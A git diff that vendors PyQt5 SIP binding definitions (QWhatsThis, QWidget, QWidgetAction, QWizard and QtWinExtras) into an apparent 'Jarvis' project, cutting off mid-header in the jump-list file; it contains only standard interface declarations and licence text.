b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwhatsthis.sip @@ -0,0 +1,38 @@ +// qwhatsthis.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QWhatsThis +{ +%TypeHeaderCode +#include +%End + + QWhatsThis(); + +public: + static void enterWhatsThisMode(); + static bool inWhatsThisMode(); + static void leaveWhatsThisMode(); + static void showText(const QPoint &pos, const QString &text, QWidget *widget = 0); + static void hideText(); + static QAction *createAction(QObject *parent /TransferThis/ = 0) /Factory/; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwidget.sip new file mode 100644 index 00000000..8761120b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwidget.sip @@ -0,0 +1,451 @@ +// qwidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +const int QWIDGETSIZE_MAX; + +class QWidget : QObject, QPaintDevice +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// Transfer the ownership of a single widget to a parent. +static void qtgui_TransferWidget(QWidget *w, PyObject *py_parent) +{ + PyObject *py_w = sipGetPyObject(w, sipType_QWidget); + + if (py_w) + sipTransferTo(py_w, py_parent); +} + + +// Transfer ownership of all widgets in a layout to their new parent. +static void qtwidgets_TransferLayoutWidgets(QLayout *lay, PyObject *pw) +{ + int n = lay->count(); + + for (int i = 0; i < n; ++i) + { + QLayoutItem *item = lay->itemAt(i); + QWidget *w = item->widget(); + + if (w) + { + qtgui_TransferWidget(w, pw); + } + else + { + QLayout *l = item->layout(); + + if (l) + qtwidgets_TransferLayoutWidgets(l, pw); + } + } + + QWidget *mb = lay->menuBar(); + + if (mb) + qtgui_TransferWidget(mb, pw); +} +%End + +public: + QWidget(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QWidget(); + virtual int devType() const; + QStyle *style() const; + void setStyle(QStyle * /KeepReference/); + bool isEnabledTo(const QWidget *) const; + +public slots: + void setEnabled(bool); + void setDisabled(bool); + void setWindowModified(bool); + +public: + QRect frameGeometry() const; + QRect normalGeometry() const; + int x() const; + int y() const; + QPoint pos() const; + QSize frameSize() const; + QRect childrenRect() const; + QRegion childrenRegion() const; + QSize minimumSize() const; + QSize maximumSize() const; + void setMinimumSize(int minw, int minh); + void setMaximumSize(int maxw, int maxh); + void setMinimumWidth(int minw); + void setMinimumHeight(int minh); + void setMaximumWidth(int maxw); + void setMaximumHeight(int maxh); + QSize sizeIncrement() const; + void setSizeIncrement(int w, int h); + QSize baseSize() const; + void setBaseSize(int basew, int baseh); + void setFixedSize(const QSize &); + void setFixedSize(int w, int h); + void setFixedWidth(int w); + void setFixedHeight(int h); + QPoint mapToGlobal(const QPoint &) const; + QPoint mapFromGlobal(const QPoint &) const; + QPoint mapToParent(const QPoint &) const; + QPoint mapFromParent(const QPoint &) const; + QPoint mapTo(const QWidget *, const QPoint &) const; + QPoint mapFrom(const QWidget *, const QPoint &) const; + QWidget *window() const; + const QPalette &palette() const; + void setPalette(const QPalette &); + void setBackgroundRole(QPalette::ColorRole); + QPalette::ColorRole backgroundRole() const; + void setForegroundRole(QPalette::ColorRole); + QPalette::ColorRole foregroundRole() const; + void setFont(const QFont &); + QCursor cursor() const; + void setCursor(const QCursor &); + void unsetCursor(); + void setMask(const QBitmap &); + void setMask(const QRegion &); + QRegion mask() const; + void clearMask(); + void setWindowTitle(const QString &); + QString windowTitle() const; + void setWindowIcon(const QIcon &icon); + QIcon windowIcon() const; + void setWindowIconText(const QString &); + QString windowIconText() const; + void setWindowRole(const QString &); + QString windowRole() const; + void setWindowOpacity(qreal level); + qreal windowOpacity() const; + bool isWindowModified() const; + void setToolTip(const QString &); + QString toolTip() const; + void setStatusTip(const QString &); + QString statusTip() const; + void setWhatsThis(const QString &); + QString whatsThis() const; +%If (PyQt_Accessibility) + QString accessibleName() const; +%End +%If (PyQt_Accessibility) + void setAccessibleName(const QString &name); +%End +%If (PyQt_Accessibility) + QString accessibleDescription() const; +%End +%If (PyQt_Accessibility) + void setAccessibleDescription(const QString &description); +%End + void setLayoutDirection(Qt::LayoutDirection direction); + Qt::LayoutDirection layoutDirection() const; + void unsetLayoutDirection(); + bool isRightToLeft() const; + bool isLeftToRight() const; + +public slots: + void setFocus(); + +public: + bool isActiveWindow() const; + void activateWindow(); + void clearFocus(); + void setFocus(Qt::FocusReason reason); + Qt::FocusPolicy focusPolicy() const; + void setFocusPolicy(Qt::FocusPolicy policy); + bool hasFocus() const; + static void setTabOrder(QWidget *, QWidget *); + void setFocusProxy(QWidget * /KeepReference/); + QWidget *focusProxy() const; + Qt::ContextMenuPolicy contextMenuPolicy() const; + void setContextMenuPolicy(Qt::ContextMenuPolicy policy); + void grabMouse(); + void grabMouse(const QCursor &); + void releaseMouse(); + void grabKeyboard(); + void releaseKeyboard(); + int grabShortcut(const QKeySequence &key, Qt::ShortcutContext context = Qt::WindowShortcut); + void releaseShortcut(int id); + void setShortcutEnabled(int id, bool enabled = true); + static QWidget *mouseGrabber(); + static QWidget *keyboardGrabber(); + void setUpdatesEnabled(bool enable); + +public slots: + void update(); + void repaint(); + +public: + void update(const QRect &); + void update(const QRegion &); + void repaint(int x, int y, int w, int h); + void repaint(const QRect &); + void repaint(const QRegion &); + +public slots: + virtual void setVisible(bool visible); + void setHidden(bool hidden); + void show(); + void hide(); + void showMinimized(); + void showMaximized(); + void showFullScreen(); + void showNormal(); + bool close(); + void raise() /PyName=raise_/; + void lower(); + +public: + void stackUnder(QWidget *); + void move(const QPoint &); + void resize(const QSize &); + void setGeometry(const QRect &); + void adjustSize(); + bool isVisibleTo(const QWidget *) const; + bool isMinimized() const; + bool isMaximized() const; + bool isFullScreen() const; + Qt::WindowStates windowState() const; + void setWindowState(Qt::WindowStates state); + void overrideWindowState(Qt::WindowStates state); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + QSizePolicy sizePolicy() const; + void setSizePolicy(QSizePolicy); + virtual int heightForWidth(int) const; + QRegion visibleRegion() const; + void setContentsMargins(int left, int top, int right, int bottom); + void getContentsMargins(int *left, int *top, int *right, int *bottom) const; + QRect contentsRect() const; + QLayout *layout() const; + void setLayout(QLayout * /Transfer/); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->setLayout(a0); + Py_END_ALLOW_THREADS + + // Internally Qt has reparented all of the widgets in the layout, so we need + // to update the ownership hierachy. + qtwidgets_TransferLayoutWidgets(a0, sipSelf); +%End + + void updateGeometry(); + void setParent(QWidget *parent /TransferThis/); + void setParent(QWidget *parent /TransferThis/, Qt::WindowFlags f); + void scroll(int dx, int dy); + void scroll(int dx, int dy, const QRect &); + QWidget *focusWidget() const; + QWidget *nextInFocusChain() const; + bool acceptDrops() const; + void setAcceptDrops(bool on); + void addAction(QAction *action); + void addActions(QList actions); + void insertAction(QAction *before, QAction *action); + void insertActions(QAction *before, QList actions); + void removeAction(QAction *action); + QList actions() const; + void setWindowFlags(Qt::WindowFlags type); + void overrideWindowFlags(Qt::WindowFlags type); + static QWidget *find(WId); + QWidget *childAt(const QPoint &p) const; + void setAttribute(Qt::WidgetAttribute attribute, bool on = true); + virtual QPaintEngine *paintEngine() const; + void ensurePolished() const; + bool isAncestorOf(const QWidget *child) const; + +signals: + void customContextMenuRequested(const QPoint &pos); + +protected: + virtual bool event(QEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void mouseDoubleClickEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void wheelEvent(QWheelEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void keyReleaseEvent(QKeyEvent *); + virtual void focusInEvent(QFocusEvent *); + virtual void focusOutEvent(QFocusEvent *); + virtual void enterEvent(QEvent *); + virtual void leaveEvent(QEvent *); + virtual void paintEvent(QPaintEvent *); + virtual void moveEvent(QMoveEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void closeEvent(QCloseEvent *); + virtual void contextMenuEvent(QContextMenuEvent *); + virtual void tabletEvent(QTabletEvent *); + virtual void actionEvent(QActionEvent *); + virtual void dragEnterEvent(QDragEnterEvent *); + virtual void dragMoveEvent(QDragMoveEvent *); + virtual void dragLeaveEvent(QDragLeaveEvent *); + virtual void dropEvent(QDropEvent *); + virtual void showEvent(QShowEvent *); + virtual void hideEvent(QHideEvent *); + virtual void changeEvent(QEvent *); + virtual int metric(QPaintDevice::PaintDeviceMetric) const; + virtual void inputMethodEvent(QInputMethodEvent *); + +public: + virtual QVariant inputMethodQuery(Qt::InputMethodQuery) const; + +protected: + void updateMicroFocus(); + void create(WId window = 0, bool initializeWindow = true, bool destroyOldWindow = true); + void destroy(bool destroyWindow = true, bool destroySubWindows = true); + virtual bool focusNextPrevChild(bool next); + bool focusNextChild(); + bool focusPreviousChild(); + +public: + QWidget *childAt(int ax, int ay) const; + Qt::WindowType windowType() const; + Qt::WindowFlags windowFlags() const; + WId winId() const; + bool isWindow() const; + bool isEnabled() const; + bool isModal() const; + int minimumWidth() const; + int minimumHeight() const; + int maximumWidth() const; + int maximumHeight() const; + void setMinimumSize(const QSize &s); + void setMaximumSize(const QSize &s); + void setSizeIncrement(const QSize &s); + void setBaseSize(const QSize &s); + const QFont &font() const; + QFontMetrics fontMetrics() const; + QFontInfo fontInfo() const; + void setMouseTracking(bool enable); + bool hasMouseTracking() const; + bool underMouse() const; + bool updatesEnabled() const; + void update(int ax, int ay, int aw, int ah); + bool isVisible() const; + bool isHidden() const; + void move(int ax, int ay); + void resize(int w, int h); + void setGeometry(int ax, int ay, int aw, int ah); + QRect rect() const; + const QRect &geometry() const; + QSize size() const; + int width() const; + int height() const; + QWidget *parentWidget() const; + void setSizePolicy(QSizePolicy::Policy hor, QSizePolicy::Policy ver); + bool testAttribute(Qt::WidgetAttribute attribute) const; + Qt::WindowModality windowModality() const; + void setWindowModality(Qt::WindowModality windowModality); + bool autoFillBackground() const; + void setAutoFillBackground(bool enabled); + void setStyleSheet(const QString &styleSheet); + QString styleSheet() const; + void setShortcutAutoRepeat(int id, bool enabled = true); + QByteArray saveGeometry() const; + bool restoreGeometry(const QByteArray &geometry); + + enum RenderFlag + { + DrawWindowBackground, + DrawChildren, + IgnoreMask, + }; + + typedef QFlags RenderFlags; + void render(QPaintDevice *target, const QPoint &targetOffset = QPoint(), const QRegion &sourceRegion = QRegion(), QWidget::RenderFlags flags = QWidget::RenderFlags(QWidget::RenderFlag::DrawWindowBackground | QWidget::RenderFlag::DrawChildren)); + void render(QPainter *painter, const QPoint &targetOffset = QPoint(), const QRegion &sourceRegion = QRegion(), QWidget::RenderFlags flags = QWidget::RenderFlags(QWidget::RenderFlag::DrawWindowBackground | QWidget::RenderFlag::DrawChildren)); + void setLocale(const QLocale &locale); + QLocale locale() const; + void unsetLocale(); + WId effectiveWinId() const; + QWidget *nativeParentWidget() const; + void setWindowFilePath(const QString &filePath); + QString windowFilePath() const; + QGraphicsProxyWidget *graphicsProxyWidget() const; + QGraphicsEffect *graphicsEffect() const; + void setGraphicsEffect(QGraphicsEffect *effect /Transfer/); + void grabGesture(Qt::GestureType type, Qt::GestureFlags flags = Qt::GestureFlags()); + void ungrabGesture(Qt::GestureType type); + void setContentsMargins(const QMargins &margins); + QMargins contentsMargins() const; + QWidget *previousInFocusChain() const; + Qt::InputMethodHints inputMethodHints() const; + void setInputMethodHints(Qt::InputMethodHints hints); + virtual bool hasHeightForWidth() const; + QPixmap grab(const QRect &rectangle = QRect(QPoint(0, 0), QSize(-1, -1))); +%If (Qt_5_1_0 -) + static SIP_PYOBJECT createWindowContainer(QWindow *window /GetWrapper/, QWidget *parent /GetWrapper/ = 0, Qt::WindowFlags flags = 0) /TypeHint="QWidget",Factory/; +%MethodCode + // Ownersip issues are complicated so we handle them explicitly. + + QWidget *w = QWidget::createWindowContainer(a0, a1, *a2); + + sipRes = sipConvertFromNewType(w, sipType_QWidget, a1Wrapper); + + if (sipRes) + sipTransferTo(a0Wrapper, sipRes); +%End + +%End + QWindow *windowHandle() const; + +protected: + virtual bool nativeEvent(const QByteArray &eventType, void *message, long *result); + virtual QPainter *sharedPainter() const; + virtual void initPainter(QPainter *painter) const; + +public: +%If (Qt_5_2_0 -) + void setToolTipDuration(int msec); +%End +%If (Qt_5_2_0 -) + int toolTipDuration() const; +%End + +signals: +%If (Qt_5_2_0 -) + void windowTitleChanged(const QString &title); +%End +%If (Qt_5_2_0 -) + void windowIconChanged(const QIcon &icon); +%End +%If (Qt_5_2_0 -) + void windowIconTextChanged(const QString &iconText); +%End + +public: +%If (Qt_5_9_0 -) + void setTabletTracking(bool enable); +%End +%If (Qt_5_9_0 -) + bool hasTabletTracking() const; +%End +%If (Qt_5_9_0 -) + void setWindowFlag(Qt::WindowType, bool on = true); +%End +%If (Qt_5_14_0 -) + QScreen *screen() const; +%End +}; + +QFlags operator|(QWidget::RenderFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwidgetaction.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwidgetaction.sip new file mode 100644 index 00000000..48d3235f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwidgetaction.sip @@ -0,0 +1,43 @@ +// qwidgetaction.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QWidgetAction : QAction +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWidgetAction(QObject *parent /TransferThis/); + virtual ~QWidgetAction(); + void setDefaultWidget(QWidget *w /Transfer/); + QWidget *defaultWidget() const; + QWidget *requestWidget(QWidget *parent /TransferThis/) /Factory/; + void releaseWidget(QWidget *widget /TransferBack/); + +protected: + virtual bool event(QEvent *); + virtual bool eventFilter(QObject *, QEvent *); + virtual QWidget *createWidget(QWidget *parent /TransferThis/) /Factory/; + virtual void deleteWidget(QWidget *widget /Transfer/); + QList createdWidgets() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwizard.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwizard.sip new file mode 100644 index 00000000..84a9f52c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qwizard.sip @@ -0,0 +1,242 @@ +// qwizard.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QWizard : QDialog +{ +%TypeHeaderCode +#include +%End + +public: + enum WizardButton + { + BackButton, + NextButton, + CommitButton, + FinishButton, + CancelButton, + HelpButton, + CustomButton1, + CustomButton2, + CustomButton3, + Stretch, + }; + + enum WizardPixmap + { + WatermarkPixmap, + LogoPixmap, + BannerPixmap, + BackgroundPixmap, + }; + + enum WizardStyle + { + ClassicStyle, + ModernStyle, + MacStyle, + AeroStyle, + }; + + enum WizardOption + { + IndependentPages, + IgnoreSubTitles, + ExtendedWatermarkPixmap, + NoDefaultButton, + NoBackButtonOnStartPage, + NoBackButtonOnLastPage, + DisabledBackButtonOnLastPage, + HaveNextButtonOnLastPage, + HaveFinishButtonOnEarlyPages, + NoCancelButton, + CancelButtonOnLeft, + HaveHelpButton, + HelpButtonOnRight, + HaveCustomButton1, + HaveCustomButton2, + HaveCustomButton3, +%If (Qt_5_3_0 -) + NoCancelButtonOnLastPage, +%End + }; + + typedef QFlags WizardOptions; + QWizard(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QWizard(); + int addPage(QWizardPage *page /Transfer/); + void setPage(int id, QWizardPage *page /Transfer/); + QWizardPage *page(int id) const; + bool hasVisitedPage(int id) const; + QList visitedPages() const; + void setStartId(int id); + int startId() const; + QWizardPage *currentPage() const; + int currentId() const; + virtual bool validateCurrentPage(); + virtual int nextId() const; + void setField(const QString &name, const QVariant &value); + QVariant field(const QString &name) const; + void setWizardStyle(QWizard::WizardStyle style); + QWizard::WizardStyle wizardStyle() const; + void setOption(QWizard::WizardOption option, bool on = true); + bool testOption(QWizard::WizardOption option) const; + void setOptions(QWizard::WizardOptions options); + QWizard::WizardOptions options() const; + void setButtonText(QWizard::WizardButton which, const QString &text); + QString buttonText(QWizard::WizardButton which) const; + void setButtonLayout(const QList &layout); + void setButton(QWizard::WizardButton which, QAbstractButton *button /Transfer/); + QAbstractButton *button(QWizard::WizardButton which) const /Transfer/; + void setTitleFormat(Qt::TextFormat format); + Qt::TextFormat titleFormat() const; + void setSubTitleFormat(Qt::TextFormat format); + Qt::TextFormat subTitleFormat() const; + void setPixmap(QWizard::WizardPixmap which, const QPixmap &pixmap); + QPixmap pixmap(QWizard::WizardPixmap which) const; + void setDefaultProperty(const char *className, const char *property, SIP_PYOBJECT changedSignal /TypeHint="PYQT_SIGNAL"/); +%MethodCode + QByteArray signal_signature; + + if ((sipError = pyqt5_qtwidgets_get_signal_signature(a2, 0, signal_signature)) == sipErrorNone) + { + sipCpp->setDefaultProperty(a0, a1, signal_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(2, a2); + } +%End + + virtual void setVisible(bool visible); + virtual QSize sizeHint() const; + +signals: + void currentIdChanged(int id); + void helpRequested(); + void customButtonClicked(int which); + +public slots: + void back(); + void next(); + void restart(); + +protected: + virtual bool event(QEvent *event); + virtual void resizeEvent(QResizeEvent *event); + virtual void paintEvent(QPaintEvent *event); + virtual void done(int result); + virtual void initializePage(int id); + virtual void cleanupPage(int id); + +public: + void removePage(int id); + QList pageIds() const; + void setSideWidget(QWidget *widget /Transfer/); + QWidget *sideWidget() const; + +signals: + void pageAdded(int id); + void pageRemoved(int id); + +public: +%If (Qt_5_15_0 -) + QList visitedIds() const; +%End +}; + +QFlags operator|(QWizard::WizardOption f1, QFlags f2); + +class QWizardPage : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWizardPage(QWidget *parent /TransferThis/ = 0); + virtual ~QWizardPage(); + void setTitle(const QString &title); + QString title() const; + void setSubTitle(const QString &subTitle); + QString subTitle() const; + void setPixmap(QWizard::WizardPixmap which, const QPixmap &pixmap); + QPixmap pixmap(QWizard::WizardPixmap which) const; + void setFinalPage(bool finalPage); + bool isFinalPage() const; + void setCommitPage(bool commitPage); + bool isCommitPage() const; + void setButtonText(QWizard::WizardButton which, const QString &text); + QString buttonText(QWizard::WizardButton which) const; + virtual void initializePage(); + virtual void cleanupPage(); + virtual bool validatePage(); + virtual bool isComplete() const; + virtual int nextId() const; + +signals: + void completeChanged(); + +protected: + void setField(const QString &name, const QVariant &value); + QVariant field(const QString &name) const; + void registerField(const QString &name, QWidget *widget, const char *property = 0, SIP_PYOBJECT changedSignal /TypeHint="PYQT_SIGNAL"/ = 0) [void (const QString &name, QWidget *widget, const char *property = 0, const char *changedSignal = 0)]; +%MethodCode + typedef sipErrorState (*pyqt5_get_signal_signature_t)(PyObject *, QObject *, QByteArray &); + + static pyqt5_get_signal_signature_t pyqt5_get_signal_signature = 0; + + if (!pyqt5_get_signal_signature) + { + pyqt5_get_signal_signature = (pyqt5_get_signal_signature_t)sipImportSymbol("pyqt5_get_signal_signature"); + Q_ASSERT(pyqt5_get_signal_signature); + } + + QByteArray signal_signature; + const char *signal = 0; + + if (a3 && a3 != Py_None) + { + if ((sipError = pyqt5_get_signal_signature(a3, a1, signal_signature)) == sipErrorNone) + { + signal = signal_signature.constData(); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(3, a3); + } + } + + if (sipError == sipErrorNone) + { + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + sipCpp->registerField(*a0, a1, a2, signal); + #else + sipCpp->sipProtect_registerField(*a0, a1, a2, signal); + #endif + Py_END_ALLOW_THREADS + } +%End + + QWizard *wizard() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/QtWinExtras.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/QtWinExtras.toml new file mode 100644 index 00000000..5cffcdaf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/QtWinExtras.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtWinExtras. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/QtWinExtrasmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/QtWinExtrasmod.sip new file mode 100644 index 00000000..b9b15b6c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/QtWinExtrasmod.sip @@ -0,0 +1,53 @@ +// This is the SIP interface definition for the QtWinExtras module of PyQt v5. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtWinExtras, keyword_arguments="Optional", use_limited_api=True) + +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qwinfunctions.sip +%Include qwinjumplist.sip +%Include qwinjumplistcategory.sip +%Include qwinjumplistitem.sip +%Include qwintaskbarbutton.sip +%Include qwintaskbarprogress.sip +%Include qwinthumbnailtoolbar.sip +%Include qwinthumbnailtoolbutton.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinfunctions.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinfunctions.sip new file mode 100644 index 00000000..8ceb5c5e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinfunctions.sip @@ -0,0 +1,122 @@ +// This is the SIP interface definition for QtWin. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +typedef struct HBITMAP__ *HBITMAP; +typedef struct HDC__ *HDC; +typedef struct HICON__ *HICON; +typedef long HRESULT; +typedef struct HRGN__ *HRGN; + + +namespace QtWin +{ +%TypeHeaderCode +#include +%End + + enum HBitmapFormat + { + HBitmapNoAlpha, + HBitmapPremultipliedAlpha, + HBitmapAlpha + }; + + enum WindowFlip3DPolicy + { + FlipDefault, + FlipExcludeBelow, + FlipExcludeAbove + }; + + HBITMAP createMask(const QBitmap &bitmap); + HBITMAP toHBITMAP(const QPixmap &p, + QtWin::HBitmapFormat format = QtWin::HBitmapNoAlpha); + QPixmap fromHBITMAP(HBITMAP bitmap, + QtWin::HBitmapFormat format = QtWin::HBitmapNoAlpha); + HICON toHICON(const QPixmap &p); + QImage imageFromHBITMAP(HDC hdc, HBITMAP bitmap, int width, int height); + QPixmap fromHICON(HICON icon); + HRGN toHRGN(const QRegion ®ion); + QRegion fromHRGN(HRGN hrgn); + + QString stringFromHresult(HRESULT hresult); + QString errorStringFromHresult(HRESULT hresult); + + QColor colorizationColor(bool *opaqueBlend = 0); + QColor realColorizationColor(); + + void setWindowExcludedFromPeek(QWindow *window, bool exclude); + bool isWindowExcludedFromPeek(QWindow *window); + void setWindowDisallowPeek(QWindow *window, bool disallow); + bool isWindowPeekDisallowed(QWindow *window); + void setWindowFlip3DPolicy(QWindow *window, + QtWin::WindowFlip3DPolicy policy); + QtWin::WindowFlip3DPolicy windowFlip3DPolicy(QWindow *); + + void extendFrameIntoClientArea(QWindow *window, int left, int top, + int right, int bottom); + void extendFrameIntoClientArea(QWindow *window, const QMargins &margins); + void resetExtendedFrame(QWindow *window); + + void enableBlurBehindWindow(QWindow *window, const QRegion ®ion); + void enableBlurBehindWindow(QWindow *window); + void disableBlurBehindWindow(QWindow *window); + + bool isCompositionEnabled(); + void setCompositionEnabled(bool enabled); + bool isCompositionOpaque(); + + void setCurrentProcessExplicitAppUserModelID(const QString &id); + + void markFullscreenWindow(QWindow *, bool fullscreen = true); + + void taskbarActivateTab(QWindow *); + void taskbarActivateTabAlt(QWindow *); + void taskbarAddTab(QWindow *); + void taskbarDeleteTab(QWindow *); + + void setWindowExcludedFromPeek(QWidget *window, bool exclude); + bool isWindowExcludedFromPeek(QWidget *window); + void setWindowDisallowPeek(QWidget *window, bool disallow); + bool isWindowPeekDisallowed(QWidget *window); + void setWindowFlip3DPolicy(QWidget *window, + QtWin::WindowFlip3DPolicy policy); + QtWin::WindowFlip3DPolicy windowFlip3DPolicy(QWidget *window); + + void extendFrameIntoClientArea(QWidget *window, const QMargins &margins); + void extendFrameIntoClientArea(QWidget *window, int left, int top, + int right, int bottom); + void resetExtendedFrame(QWidget *window); + + void enableBlurBehindWindow(QWidget *window, const QRegion ®ion); + void enableBlurBehindWindow(QWidget *window); + void disableBlurBehindWindow(QWidget *window); + + void markFullscreenWindow(QWidget *window, bool fullscreen = true); + + void taskbarActivateTab(QWidget *window); + void taskbarActivateTabAlt(QWidget *window); + void taskbarAddTab(QWidget *window); + void taskbarDeleteTab(QWidget *window); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinjumplist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinjumplist.sip new file mode 100644 index 00000000..0b46bb98 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinjumplist.sip @@ -0,0 +1,84 @@ +// This is the SIP interface definition for QWinJumpList. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This 